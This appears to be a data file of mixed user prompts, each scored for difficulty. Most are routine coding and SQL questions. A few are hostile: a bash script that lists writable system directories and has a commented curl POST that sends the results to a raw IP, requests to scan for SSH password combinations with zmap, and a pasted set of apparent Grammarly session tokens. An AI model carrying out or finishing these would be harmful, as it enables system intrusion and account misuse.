16,513 | band diagram of SWG waveguide using dipole cloud and banstructure analysis in lumerical 3D FDTD | 945a5d38f34420c419f442759060186a | {
"intermediate": 0.35284921526908875,
"beginner": 0.23231656849384308,
"expert": 0.414834201335907
} |
16,514 | как сделать чтобы определенная иконка загоралась, если в input нужный pan?
<div class="transfers__item-foot">
<ul class="ui-logotypes">
<li>
<img src="<c:url value='/resources/card2card_new/images/logo-mastercard.svg'/>"
alt="">
</li>
<li>
<img src="<c:url value='/resources/card2card_new/images/logo-visa.svg'/>" alt="">
</li>
<li>
<img src="<c:url value='/resources/card2card_new/images/logo-mir.svg'/>" alt="">
</li>
</ul>
</div> | 84181c5f794a6a159ccb7481d2755330 | {
"intermediate": 0.3132812976837158,
"beginner": 0.47598206996917725,
"expert": 0.2107366919517517
} |
16,515 | I am making a c++ wxwidgets, I finished adding the widgets and the windows is done but now I want to add a sizer so I can expand the grid horizontally and vertically when the window is maximized. Can you add a sizer before the widgets because widgets are connected to the panel.
<?xml version="1.0" encoding="utf-8" ?>
<wxsmith>
<object class="wxFrame" name="simple_game_libraryFrame">
<title>Simple Game Library</title>
<centered>1</centered>
<size>960,444</size>
<bg>wxSYS_COLOUR_HOTLIGHT</bg>
<minsize>976,485</minsize>
<maxsize>-1,-1</maxsize>
<id_arg>0</id_arg>
<style>wxDEFAULT_FRAME_STYLE|wxTAB_TRAVERSAL</style>
<object class="wxPanel" name="m_panel1" variable="Panel1" member="yes">
<pos>-1,-1</pos>
<size>968,480</size>
<object class="wxChoice" name="m_choiceGenre" variable="ChoiceFilter" member="yes">
<content>
<item>System</item>
<item>Genre</item>
<item>Start Year</item>
<item>Completion Status</item>
</content>
<pos>24,72</pos>
<size>296,23</size>
</object>
<object class="wxListBox" name="ID_LISTBOX1" variable="ListBoxFilter" member="yes">
<default>-1</default>
<pos>24,112</pos>
<size>296,312</size>
</object>
<object class="wxSearchCtrl" name="ID_SEARCHCTRL1" variable="SearchCtrlFilter" member="yes">
<cancel_button>1</cancel_button>
<pos>24,24</pos>
<size>256,24</size>
</object>
<object class="wxGrid" name="m_gridGames" variable="GridGames" member="yes">
<cols>5</cols>
<readonly>1</readonly>
<collabels>
<item>Name</item>
<item>System</item>
<item>Genre</item>
<item>Start Year</item>
<item>Completion Status</item>
</collabels>
<pos>344,24</pos>
<size>592,400</size>
<minsize>-1,-1</minsize>
<maxsize>-1,-1</maxsize>
<style>wxBORDER_SIMPLE|wxVSCROLL|wxHSCROLL</style>
<handler function="OnGrid1CellLeftClick" entry="EVT_CMD_GRID_CELL_LEFT_CLICK" />
</object>
<object class="wxBitmapButton" name="ID_BITMAPBUTTON1" variable="BitmapButtonHamburger" member="yes">
<bitmap>./res/bars.png</bitmap>
<pos>296,24</pos>
<size>24,24</size>
</object>
</object>
</object>
</wxsmith> | 3afa878bc474880651cf281d5f473d34 | {
"intermediate": 0.35373130440711975,
"beginner": 0.5046069622039795,
"expert": 0.14166174829006195
} |
16,516 | say you start a django website on remote linux using ssh and runserver manage.py, if the ssh disconnected, will the website still there | 51d5cfb9022218b129e86a7ecf56882a | {
"intermediate": 0.5155649781227112,
"beginner": 0.2698374092578888,
"expert": 0.2145977020263672
} |
16,517 | x= [1,2,3,4,5,6]
# for i in x:
for i in x:
for j in x:
print(i*j)
i+=1 | fab1e89e850da81459272dba4b9e5d4f | {
"intermediate": 0.18937554955482483,
"beginner": 0.6980240345001221,
"expert": 0.1126004308462143
} |
16,518 | how do you run a shell script in linux, becouse when I run mine which I think should work it gives me a syntax error, here is the code if you can correct me:
#!/bin/bash
# list of locations
locations=( # here is the syntax error, specifically at the "("
'/var/lib/python'
'/etc/ssh/ssh_config.d'
'/var/log/apt'
'/var/log/mosquitto'
'/var/log/gvm'
'/etc/powershell-empire'
'/etc/mysql/mariadb.conf.d'
'/var/cache/man/cat2'
'/var/cache/man/hr'
'/var/cache/man/ro'
'/var/cache/man/ja'
'/var/cache/man/pl'
'/var/cache/man/pt'
'/var/cache/man/id/cat1'
'/etc/ssl/private'
'/etc'
)
# valid locations
valid_locations=''
for location in "${locations[@]}"; do
if [ -w "$location" ]; then
valid_locations+="${location}"
fi
done
uname = $(uname -a)
data='{"uname": "${uname}", "locations": "$valid_locations"}'
# curl -X POST -d "{data}" http://254.3.5.26:8000/pgpkey
echo data | eedcb5bccff457df62f6f35df3a0b952 | {
"intermediate": 0.3386567234992981,
"beginner": 0.6213102340698242,
"expert": 0.04003303125500679
} |
16,519 | Update the code below to enter the Grammarly site. Because the input direction does not work. [{
"domain": ".grammarly.com",
"expirationDate": 1697662503,
"hostOnly": false,
"httpOnly": false,
"name": "_gcl_au",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "1.1.1951403380.1689886503"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690986675,
"hostOnly": false,
"httpOnly": false,
"name": "isGrammarlyUser",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "true"
},
{
"domain": ".grammarly.com",
"expirationDate": 1721917875.34426,
"hostOnly": false,
"httpOnly": true,
"name": "grauth",
"path": "/",
"sameSite": "no_restriction",
"secure": true,
"session": false,
"storeId": null,
"value": "AABMbC9GIp9SANdGOZoMOg52Wbdiguoh7adSd5FPzzyR-J98aAkuTFDzNYuaORrnr-uQI1F0Fp2QcXEC"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690385479.1712,
"hostOnly": false,
"httpOnly": true,
"name": "redirect_location",
"path": "/",
"sameSite": null,
"secure": true,
"session": false,
"storeId": null,
"value": "eyJ0eXBlIjoiIiwibG9jYXRpb24iOiJodHRwczovL2FwcC5ncmFtbWFybHkuY29tLyJ9"
},
{
"domain": ".grammarly.com",
"expirationDate": 1724941879.245896,
"hostOnly": false,
"httpOnly": false,
"name": "_ga_CBK9K2ZWWE",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "GS1.1.1690381841.45.1.1690381879.22.0.0"
},
{
"domain": ".grammarly.com",
"expirationDate": 1708684622.704452,
"hostOnly": false,
"httpOnly": false,
"name": "driftt_aid",
"path": "/",
"sameSite": null,
"secure": true,
"session": false,
"storeId": null,
"value": "7d4c35f8-6836-46ca-a961-d82e9a5d471d"
},
{
"domain": ".grammarly.com",
"expirationDate": 1698157860,
"hostOnly": false,
"httpOnly": false,
"name": "_rdt_uuid",
"path": "/",
"sameSite": "strict",
"secure": true,
"session": false,
"storeId": null,
"value": "1674124617312.9b521188-5a4b-4b1e-9aa7-2ac950920cea"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690468260,
"hostOnly": false,
"httpOnly": false,
"name": "_gid",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "GA1.2.528240719.1690381842"
},
{
"domain": ".grammarly.com",
"expirationDate": 1721917883.247853,
"hostOnly": false,
"httpOnly": false,
"name": "experiment_groups",
"path": "/",
"sameSite": "no_restriction",
"secure": true,
"session": false,
"storeId": null,
"value": "fsrw_in_sidebar_allusers_enabled|extension_assistant_bundles_all_consumers_enabled|fsrw_in_assistant_all_consumers_enabled|extension_new_rich_text_fields_enabled|officeaddin_outcomes_ui_exp5_enabled1|gdocs_for_chrome_enabled|completions_beta_enabled|kaza_security_hub_enabled|premium_ungating_renewal_notification_enabled|small_hover_menus_existing_enabled|quarantine_messages_enabled|gb_snippets_csv_upload_enabled|grammarly_web_ukraine_logo_dapi_enabled|gb_in_editor_premium_Test1|officeaddin_upgrade_state_exp2_enabled1|gb_analytics_mvp_phase_one_enabled|wonderpass_enabled|apply_formatting_all_consumers_enabled|attention_score_card_premium_no_iid_enabled|ipm_extension_release_test_1|snippets_in_ws_gate_enabled|extension_assistant_experiment_all_consumers_enabled|extension_assistant_bundles_all_enabled|officeaddin_proofit_exp3_enabled|gdocs_for_all_firefox_enabled|shared_workspaces_enabled|gb_analytics_mvp_phase_one_30_day_enabled|auto_complete_correct_safari_enabled|fluid_gdocs_rollout_enabled|officeaddin_ue_exp3_enabled|safari_migration_inline_disabled_enabled|officeaddin_upgrade_state_exp1_enabled1|completions_release_enabled1|extension_assistant_all_consumers_enabled|fsrw_in_assistant_all_enabled|autocorrect_new_ui_v3|emogenie_beta_enabled|apply_formatting_all_enabled|shadow_dom_chrome_enabled|extension_assistant_experiment_all_enabled|gdocs_for_all_safari_enabled|extension_assistant_all_enabled|safari_migration_backup_notif1_enabled|auto_complete_correct_edge_enabled|takeaways_premium_enabled|realtime_proofit_external_rollout_enabled|safari_migration_popup_editor_disabled_enabled|safari_migration_inline_warning_enabled|gdocs_new_mapping_enabled|officeaddin_perf_exp3_enabled|officeaddin_muted_alerts_exp2_enabled1"
},
{
"domain": ".grammarly.com",
"expirationDate": 1708684614.258755,
"hostOnly": false,
"httpOnly": false,
"name": "ga_clientId",
"path": "/",
"sameSite": "no_restriction",
"secure": true,
"session": false,
"storeId": null,
"value": "1885595495.1669882436"
},
{
"domain": ".grammarly.com",
"expirationDate": 1721917875.344556,
"hostOnly": false,
"httpOnly": false,
"name": "csrf-token",
"path": "/",
"sameSite": "no_restriction",
"secure": true,
"session": false,
"storeId": null,
"value": "AABMbMs8DUEwI3EIs9/0OioSgDcIp1RnwE9NQQ"
},
{
"domain": ".grammarly.com",
"expirationDate": 1724941860.505261,
"hostOnly": false,
"httpOnly": false,
"name": "_ga",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "GA1.2.1885595495.1669882436"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690381902,
"hostOnly": false,
"httpOnly": false,
"name": "_gat",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "1"
},
{
"domain": ".grammarly.com",
"expirationDate": 1721917860,
"hostOnly": false,
"httpOnly": false,
"name": "_pin_unauth",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "dWlkPVlXWTJPR1l5TVRFdE9EQXdaQzAwWmpKbExXRXlOMlF0Wm1RNU16STBaR0V3TnpJeg"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690468260,
"hostOnly": false,
"httpOnly": false,
"name": "_uetsid",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "ffa494c02bc011ee829355986f139240"
},
{
"domain": ".grammarly.com",
"expirationDate": 1724077860,
"hostOnly": false,
"httpOnly": false,
"name": "_uetvid",
"path": "/",
"sameSite": null,
"secure": false,
"session": false,
"storeId": null,
"value": "19abc360715011ed813b89cb1e36f3ae"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690385479.172121,
"hostOnly": false,
"httpOnly": false,
"name": "browser_info",
"path": "/",
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"secure": false,
"session": false,
"storeId": null,
"value": "CHROME:116:COMPUTER:SUPPORTED:FREEMIUM:LINUX:LINUX"
},
{
"domain": ".grammarly.com",
"expirationDate": 1708684622.701287,
"hostOnly": false,
"httpOnly": false,
"name": "drift_aid",
"path": "/",
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"secure": true,
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"storeId": null,
"value": "7d4c35f8-6836-46ca-a961-d82e9a5d471d"
},
{
"domain": ".grammarly.com",
"expirationDate": 1690489879.171851,
"hostOnly": false,
"httpOnly": false,
"name": "funnelType",
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"secure": false,
"session": false,
"storeId": null,
"value": "free"
},
{
"domain": ".grammarly.com",
"expirationDate": 1708684613.421527,
"hostOnly": false,
"httpOnly": false,
"name": "gnar_containerId",
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"value": "uwau7ncoh7g402o2"
},
{
"domain": ".grammarly.com",
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"hostOnly": false,
"httpOnly": true,
"name": "tdi",
"path": "/",
"sameSite": "no_restriction",
"secure": true,
"session": false,
"storeId": null,
"value": "evsko246ohk37iry9"
}
] | 3f46d180c769ac6ec8663091d1cec40d | {
"intermediate": 0.3010818064212799,
"beginner": 0.45673447847366333,
"expert": 0.24218370020389557
} |
16,520 | how can i set up zmap to scan for specific ssh passwords? maybe even run commands to understand better what kinds of devices are vulnrable to this.
One way you can use zmap to scan for | 9e23995775a8a62646fb5f07f4b56970 | {
"intermediate": 0.36545243859291077,
"beginner": 0.2653246223926544,
"expert": 0.3692229092121124
} |
16,521 | how can i set up zmap to scan for specific ssh passwords? maybe even run commands to understand better what kinds of devices are vulnrable to this.
One way you can use zmap in linux to scan for set ssh username password combos | 1b1ce82f3b7f1c85bf5408a2c698bcd4 | {
"intermediate": 0.39155542850494385,
"beginner": 0.26685065031051636,
"expert": 0.341593861579895
} |
16,522 | js. static attributes not inherit from Parent class | a27cec99687d233a208405cc635ec7b0 | {
"intermediate": 0.4141457974910736,
"beginner": 0.3134258985519409,
"expert": 0.2724283039569855
} |
16,523 | Hi | da0294ad0bfc7af60e5cd5f05ebe4a62 | {
"intermediate": 0.33010533452033997,
"beginner": 0.26984941959381104,
"expert": 0.400045245885849
} |
16,524 | Explain the concept of stochastic dispatch in programming languages. | b9e4e982344e1310175cbb384f82b4ae | {
"intermediate": 0.24233505129814148,
"beginner": 0.22943885624408722,
"expert": 0.5282260775566101
} |
16,525 | element plus: Invalid prop: type check failed for prop "showAfter" | 9806db39881808b8d89a9d4ae4a6e571 | {
"intermediate": 0.37751197814941406,
"beginner": 0.28862112760543823,
"expert": 0.3338669538497925
} |
16,526 | create table movie (mov_id int primary key, mov_title varchar(30), mov_year varchar(30), mov_time varchar(30), mov_lang varchar(30), mov_dt_rel varchar(30), mov_rel_country varchar (30))
insert into movie values
(901, 'Vertigo', 1958, 128, 'English','1958-08-24','UK' ),
(902, 'The Innocents', 1961, 100, 'English','1962-02-19','SW' ),
(903, 'Lawrence of Arabia', 1962, 216, 'English','1962-12-11','UK' ),
(904, 'The Deer Hunter', 1978, 183, 'English','1979-03-08','UK' ),
(905, 'Amadeus', 1984, 160, 'English','1985-01-07','UK' ),
(906, 'Blade Runner', 1982, 117, 'English','1982-09-09','UK' ),
(907, 'Eyes Wide Shut', 1999, 159, 'English',' ','UK' ),
(908, 'The Usual Suspects', 1995, 106, 'English','1995-08-25','UK' ),
(909, 'Chinatown', 1974, 130, 'English','1974-08-09','UK' ),
(910, 'Boogie Nights', 1997, 155, 'English','1998-02-16','UK' ),
(911, 'Annie Hall', 1977, 93, 'English','1977-04-20','USA'),
(912, 'Princess Mononoke', 1997, 134, 'Japanese','2001-10-19','UK' ),
(913, 'The Shawshank Redemption ', 1994, 142, 'English','1995-02-17','UK' ),
(914, 'American Beauty', 1999, 122, 'English',' ','UK' ),
(915, 'Titanic', 1997, 194, 'English','1998-01-23','UK' ),
(916, 'Good Will Hunting', 1997, 126, 'English','1998-06-03','UK' ),
(917, 'Deliverance', 1972, 109, 'English','1982-10-05','UK' ),
(918, 'Trainspotting', 1996, 94, 'English','1996-02-23','UK' ),
(919, 'The Prestige', 2006, 130, 'English','2006-11-10','UK' ),
(920, 'Donnie Darko', 2001, 113, 'English',' ','UK' ),
(921, 'Slumdog Millionaire', 2008, 120, 'English','2009-01-09','UK' ),
(922, 'Aliens', 1986, 137, 'English','1986-08-29','UK' ),
(923, 'Beyond the Sea', 2004, 118, 'English','2004-11-26','UK' ),
(924, 'Avatar', 2009, 162, 'English','2009-12-17','UK' ),
(926, 'Seven Samurai', 1954, 207, 'Japanese','1954-04-26','JP' ),
(927, 'Spirited Away', 2001, 125, 'Japanese','2003-09-12','UK' ),
(928, 'Back to the Future', 1985, 116, 'English','1985-12-04','UK' ),
(925, 'Braveheart', 1995, 178, 'English','1995-09-08','UK' )
drop table movie
select * from movie
select top 5 percent * from movie
select * from movie where mov_year = '1985'
select distinct mov_title from movie
select distinct mov_year from movie
select *from movie where mov_title = 'Blade Runner'
select *from movie where mov_year <=1982
create table reviewer (rev_id int primary key, rev_name varchar (20))
insert into reviewer values
(9001 , 'Righty Sock '),
(9002 , 'Jack Malvern '),
(9003 , 'Flagrant Baronessa '),
(9004 , 'Alec Shaw '),
(9005 , ' '),
(9006 , 'Victor Woeltjen '),
(9007 , 'Simon Wright '),
(9008 , 'Neal Wruck '),
(9009 , 'Paul Monks '),
(9010 , 'Mike Salvati '),
(9011 , ' '),
(9012 , 'Wesley S. Walker '),
(9013 , 'Sasha Goldshtein '),
(9014 , 'Josh Cates '),
(9015 , 'Krug Stillo '),
(9016 , 'Scott LeBrun '),
(9017 , 'Hannah Steele '),
(9018 , 'Vincent Cadena '),
(9019 , 'Brandt Sponseller '),
(9020 , 'Richard Adams ')
select * from reviewer
https://www.w3resource.com/sql-exercises/movie-database-exercise/basic-exercises-on-movie-database.php
create table actor (act_id int primary key, act_fname varchar(20), act_lname varchar(20), act_gender varchar(20))
insert into actor values
(101 ,' James ' , ' Stewart ' , ' M' ),
(102 ,' Deborah ' , ' Kerr ' , ' F' ),
(103 ,' Peter ' , ' OToole ' , ' M' ),
(104 ,' Robert ' , ' De Niro ' , ' M' ),
(105 ,' F. Murray ' , ' Abraham ' , ' M' ),
(106 ,' Harrison ' , ' Ford ' , ' M' ),
(107 ,' Nicole ' , ' Kidman ' , ' F' ),
(108 ,' Stephen ' , ' Baldwin ' , ' M' ),
(109 ,' Jack ' , ' Nicholson ' , ' M' ),
(110 ,' Mark ' , ' Wahlberg ' , ' M' ),
(111 ,' Woody ' , ' Allen ' , ' M' ),
(112 ,' Claire ' , ' Danes ' , ' F' ),
(113 ,' Tim ' , ' Robbins ' , ' M' ),
(114 ,' Kevin ' , ' Spacey ' , ' M' ),
(115 ,' Kate ' , ' Winslet ' , ' F' ),
(116 ,' Robin ' , ' Williams ' , ' M' ),
(117 ,' Jon ' , ' Voight ' , ' M' ),
(118 ,' Ewan ' , ' McGregor ' , ' M' ),
(119 ,' Christian ' , ' Bale ' , ' M' ),
(120 ,' Maggie ' , ' Gyllenhaal ' , ' F' ),
(121 ,' Dev ' , ' Patel ' , ' M' ),
(122 ,' Sigourney ' , ' Weaver ' , ' F' ),
(123 ,' David ' , ' Aston ' , ' M' ),
(124 ,' Ali ' , ' Astin ' , ' F' )
select * from actor
select * from actor where act_fname = 'Mark'
select * from actor where act_lname = 'Wahlberg'
select * from actor where act_lname = '110'
SELECT reviewer.rev_name
FROM reviewer
UNION
(SELECT movie.mov_title
FROM movie); from this create right join, left join, full outer join | ee0fb056bf3d6e31eb54616c0485edde | {
"intermediate": 0.39505937695503235,
"beginner": 0.3809548020362854,
"expert": 0.22398585081100464
} |
16,527 | insert into movie_director ( mov_id int, mov_title varchar(30), mov_year varchar(30), mov_time varchar(30), mov_lang varchar(30), mov_dt_rel varchar(30), mov_rel_country varchar(30), dir_id int, dir_name varchar(20)); 101 | 901 | John Scottie Ferguson
102 | 902 | Miss Giddens
103 | 903 | T.E. Lawrence
104 | 904 | Michael
105 | 905 | Antonio Salieri
106 | 906 | Rick Deckard
107 | 907 | Alice Harford
108 | 908 | McManus
110 | 910 | Eddie Adams
111 | 911 | Alvy Singer
112 | 912 | San
113 | 913 | Andy Dufresne
114 | 914 | Lester Burnham
115 | 915 | Rose DeWitt Bukater
116 | 916 | Sean Maguire
117 | 917 | Ed
118 | 918 | Renton
120 | 920 | Elizabeth Darko
121 | 921 | Older Jamal
122 | 922 | Ripley
114 | 923 | Bobby Darin
109 | 909 | J.J. Gittes
119 | 919 | Alfred Borden | 6e7ffd8d7624ff2dc1db4b80056f9e5a | {
"intermediate": 0.2722978889942169,
"beginner": 0.43706947565078735,
"expert": 0.29063260555267334
} |
16,528 | how do i implement you in skyrim so i can talk to npcs | 5242a75257d056f7a6c22407c3350712 | {
"intermediate": 0.4737529754638672,
"beginner": 0.16213004291057587,
"expert": 0.3641170263290405
} |
16,529 | From the following table, write a SQL query to find out where the final match of the EURO cup 2016 was played. Return venue name, city. | e79130f515a540f967028f271d88ccc6 | {
"intermediate": 0.3880995213985443,
"beginner": 0.26848486065864563,
"expert": 0.34341567754745483
} |
16,530 | SELECT player_name, COUNT(*) AS goals, country_name
FROM goal_details
WHERE decided_by = 'N'
GROUP BY player_name, country_name
ORDER BY goals DESC; | 2a617a15c7be77011c00c3f7cc3143b7 | {
"intermediate": 0.39676183462142944,
"beginner": 0.2734571099281311,
"expert": 0.32978105545043945
} |
16,531 | From the following tables, write a SQL query to find the referee who managed the opening match. Return referee name, country name. without using natural join | 2abea86af34dbec9acbf8e79baf7ccef | {
"intermediate": 0.41326621174812317,
"beginner": 0.28843367099761963,
"expert": 0.2983001172542572
} |
16,532 | Hi | 51354829b4b4b38a4c7c97ff70079581 | {
"intermediate": 0.33010533452033997,
"beginner": 0.26984941959381104,
"expert": 0.400045245885849
} |
16,533 | Write a function that generates a perspective matrix in c | 956f7594b0242d3f851c31e03ad3d558 | {
"intermediate": 0.3058989644050598,
"beginner": 0.274901419878006,
"expert": 0.419199675321579
} |
16,534 | Write some sample code for Jupyter Notebook | a2204517a590c47fa41a411f46d1cb8f | {
"intermediate": 0.38353288173675537,
"beginner": 0.21308806538581848,
"expert": 0.40337902307510376
} |
16,535 | I used your code: def signal_generator(df):
if df is None:
return ''
rsi_analysis = []
macd_analysis = []
stoch_analysis = []
# RSI Strategy
df['RSI'] = calculate_rsi(df['Close'], 14)
if df['RSI'].iloc[-1] > 70:
rsi_analysis.append('overbought')
elif df['RSI'].iloc[-1] < 30:
rsi_analysis.append('oversold')
# MACD Strategy
df['MACD_Line'], df['MACD_Signal'] = calculate_macd(df['Close'], 12, 26, 9)
if df['MACD_Line'].iloc[-1] > df['MACD_Signal'].iloc[-1]:
macd_analysis.append('bullish_crossover')
elif df['MACD_Line'].iloc[-1] < df['MACD_Signal'].iloc[-1]:
macd_analysis.append('bearish_crossover')
# Stochastic Strategy
df['%K'], df['%D'] = calculate_stochastic(df['High'], df['Low'], df['Close'], 14, 3)
if df['%K'].iloc[-1] > 80:
stoch_analysis.append('overbought')
elif df['%K'].iloc[-1] < 20:
stoch_analysis.append('oversold')
if ('overbought' in rsi_analysis and 'bearish_crossover' in macd_analysis and 'overbought' in stoch_analysis):
return 'sell'
elif ('oversold' in rsi_analysis and 'bullish_crossover' in macd_analysis and 'oversold' in stoch_analysis):
return 'buy'
else:
return ''
But is calculate_rsi , calculate_macd, calculate_stochastic are undefuned | e586b1b5af6b4cf079e45bedb8058319 | {
"intermediate": 0.3905470371246338,
"beginner": 0.3300446569919586,
"expert": 0.27940833568573
} |
16,536 | Given the following: "/**
* @brief Reallocates memory.
* @param self Pointer to the `krt_memalloc` object.
* @param ptr Pointer to the memory to reallocate.
* @param nitems Number of items to reallocate.
* @param size Size of each item in bytes.
* @param align Pointer alignment.
* @param clear Flag to indicate whether to clear the reallocated memory.
* @return Pointer to the reallocated memory.
*/
void *krt_realloc(krt_memalloc_t *self, void *ptr, size_t nitems, size_t size, size_t align, bool clear);"
Comment the code within the function "krt_realloc": "void *krt_realloc(krt_memalloc_t *self, void *ptr, size_t nitems, size_t size, size_t align, bool clear)
{
if (!ptr)
{
return krt_malloc(self, nitems, size, align, clear);
}
else
{
size_t old_size = krt_sizeof(self, ptr);
size_t new_size = nitems * size;
if (new_size == 0)
{
return krt_dealloc(self, ptr);
}
else if (new_size == old_size)
{
return krt_memset(ptr, 0, old_size, clear);
}
else if (self->realloc)
{
void *new_ptr = self->realloc(self, ptr, new_size, align);
return krt_memset(new_ptr, 0, krt_sizeof(self, new_ptr), clear);
}
else if (new_size > old_size && self->expand)
{
void *new_ptr = self->expand(self, ptr, new_size, align);
return krt_memset(new_ptr, 0, krt_sizeof(self, new_ptr), clear);
}
else if (new_size < old_size && self->shrink)
{
void *new_ptr = self->shrink(self, ptr, new_size, align);
return krt_memset(new_ptr, 0, krt_sizeof(self, new_ptr), clear);
}
else
{
void *new_ptr = krt_malloc(self, nitems, size, align, clear);
krt_memmove(new_ptr, ptr, old_size, !clear);
krt_dealloc(self, ptr);
return new_ptr;
}
}
}" | 1707cd70d0052c26075bda04882f069f | {
"intermediate": 0.37338322401046753,
"beginner": 0.3631042540073395,
"expert": 0.2635125517845154
} |
16,537 | make me tictactoe with 3 faces, front mid and back and with 9 cells each face. that interconnects like a 3d cube in c programming language without the use of strings and arrays | b417d5bf9cfb9c604820ba97a504db57 | {
"intermediate": 0.2700680196285248,
"beginner": 0.2200067937374115,
"expert": 0.5099251866340637
} |
16,538 | Are you familiar with proton tricks the program on github? | 78cb064a5684abfff496b25914e1b2dc | {
"intermediate": 0.37895676493644714,
"beginner": 0.11450357735157013,
"expert": 0.5065397024154663
} |
16,539 | using use method to redirect to a 404 page in express | cc2cd04fefd6eb544a879a804165613b | {
"intermediate": 0.36382895708084106,
"beginner": 0.2771105468273163,
"expert": 0.35906052589416504
} |
16,540 | What is the best EMA crypto bot scalping strategy ? | b9b4563f7817ee508876025f9f976197 | {
"intermediate": 0.16480652987957,
"beginner": 0.1299348771572113,
"expert": 0.7052585482597351
} |
16,541 | [Vue warn]: Property "formLabelWidth" was accessed during render but is not defined on instance. | c7dec9831e7fa47c7be727366a3ccbdb | {
"intermediate": 0.4815181791782379,
"beginner": 0.23576781153678894,
"expert": 0.28271400928497314
} |
16,542 | Hello | 5920779bf4bf5f1785ace25d414b8133 | {
"intermediate": 0.3123404085636139,
"beginner": 0.2729349136352539,
"expert": 0.4147246778011322
} |
16,543 | Design the pseudocode and flowchart for a program that reads the grades of a number
of students in a class and calculates the grade-point average for the class. The total
number of students is not known and the program should stop reading grades when
the user enters -1. | 16e2739360b7312f4a45cff14b0fc4e3 | {
"intermediate": 0.245592400431633,
"beginner": 0.16226717829704285,
"expert": 0.5921403765678406
} |
16,544 | Hi! | 3a80d0eeef640183c0ae48ebac4efcee | {
"intermediate": 0.3230988085269928,
"beginner": 0.2665199935436249,
"expert": 0.4103812277317047
} |
16,546 | Hi! Please write C# program, which calculate free falling object position in meters depending from time in seconds when falling began. | 7905b457bda8a594ce03976c5b46640f | {
"intermediate": 0.3897581696510315,
"beginner": 0.1777815967798233,
"expert": 0.4324601888656616
} |
16,547 | Give me a bookmarklet to edit css on a webpage. | addb7e7a955780a58e9764c6bd1f0853 | {
"intermediate": 0.5100294947624207,
"beginner": 0.24506640434265137,
"expert": 0.24490408599376678
} |
16,548 | Bike Delivery app | 1e8c48d11c59dae9855f3b95cbe2326d | {
"intermediate": 0.4254944622516632,
"beginner": 0.29469016194343567,
"expert": 0.2798153758049011
} |
16,549 | write Program for Sudoku Generator in java | 457cd095f66a2cf1cbc7fb2630c4ac22 | {
"intermediate": 0.37587007880210876,
"beginner": 0.3519010841846466,
"expert": 0.272228866815567
} |
16,550 | 1. Please write in any programming language you like – or pseudo code – a procedure to display a 32 bits number (integer) in the hexadecimal format.
To be clear, your own procedure not one from a standard library of course.
2. Please design a class hierarchy of vehicles (car, bike, truck etc) with the most basic components and the relations between them. Limit it to
essentials (for example public, private etc are not important) and write in any OO-language you like or use pseudo code. You can add comments for
explanations if you want.
3. How would you store your vehicle objects and their attributes (see question 2 above) in a relational database? Please design a simple data model.
You can choose you own syntax or diagrams as long as your data model is presented in its essentials clearly enough.
4. Below you see some – incomplete - snippets of code of EQ’s product tOption. Can you try to describe what you think the code is for, what it is
doing, why it was made that way. Do elaborate, just what your ideas and impressions are – there are no pitfalls to trick you.
<entity name="Country" external="MF_COUNTRY" objectType="OPCountryT">
<attribute name="administrationId" external="ADMINISTRATION_ID" type="key" />
<attribute name="currencyId" external="CURRENCY_ID" type="key" />
<attribute name="countryName" external="COUNTRY_NAME" type="string" width="100" />
<relation name="itsAdministration" source="administrationId" destination="Administration.id" type="1:1" />
<relation name="itsCurrency" source="currencyId" destination="Currency.id" type="0:1" />
</entity>
<entity name="Currency" external="MF_CURRENCY" objectType="OPCurrencyT">
<attribute name="name" external="NAME" type="string" width="50" />
<attribute name="symbol" external="SYMBOL" type="string" width="10" />
<relation name="itsCountries" source="id" destination="Country.currencyId" type="1:n" />
<relation name="itsMoneyAccounts" source="id" destination="MoneyAccount.currencyId" type="1:n" />
</entity>
<entity name="GenericAccount" isAbstract="yes">
<attribute name="accountHolderId" external="ACCOUNT_HOLDER_ID" type="key" />
<attribute name="depositoryId" external="DEPOSITORY_ID" type="key" />
<attribute name="reservedAmount" external="RESERVED_AMOUNT" type="number" />
<attribute name="blockedAmount" external="BLOCKED_AMOUNT" type="number" />
<attribute name="balance" external="BALANCE" type="number" />
<relation name="itsAccountHolder" source="accountHolderId" destination="AccountHolder.id" type="1:1" />
</entity>
<entity name="MoneyAccount" external="MF_MONEY_ACCOUNT" parentEntity="GenericAccount" objectType="OPMoneyAccountT">
<attribute name="currencyId" external="CURRENCY_ID" type="key" />
<relation name="itsDepository" source="depositoryId" destination="MoneyDepository.id" type="1:1" />
<relation name="itsCurrency" source="currencyId" destination="Currency.id" type="1:1" />
<relation name="itsDebitMoneyFinancialInstructions" source="id" destination="MoneyFinancialInstruction.debitAccountId" type="1:n" />
<relation name="itsCreditMoneyFinancialInstructions" source="id" destination="MoneyFinancialInstruction.creditAccountId" type="1:n" />
</entity>
// with MoneyAccount:
<extend name="availableAmount" scope="public">
availableAmount is
balance - reservedAmount
</extend>
function OPMoneyAccountT.availableNotBlockedAmount : ECCurrencyI;
begin
result := validCurrency( availableAmount ).subtract( blockedAmount);
end;
procedure OPMoneyAccountT.addAmountToBalance( const anAmount : ECCurrencyI );
var
originalBalance : ECCurrencyI;
newBalance : ECCurrencyI;
begin
originalBalance := balance;
newBalance := originalBalance.add( anAmount );
if anAmount.isGreaterThanOrEqualsZero then
begin // credit
creditedAmount := creditedAmount.add( anAmount )
end
else
begin // debit
debitedAmount := debitedAmount.subtract( anAmount );
end;
balance := newBalance;
end; | 4ccd16e754e2242297db41bbc1f9799c | {
"intermediate": 0.37973931431770325,
"beginner": 0.38151830434799194,
"expert": 0.2387423813343048
} |
16,551 | I used your signal_generator code: def signal_generator(df):
if df is None:
return ''
candle_analysis = []
ema_analysis = []
# EMA strategy
ema_period_1 = 9 # EMA9
ema_period_2 = 12 # EMA12
ema_period_3 = 26 # EMA26
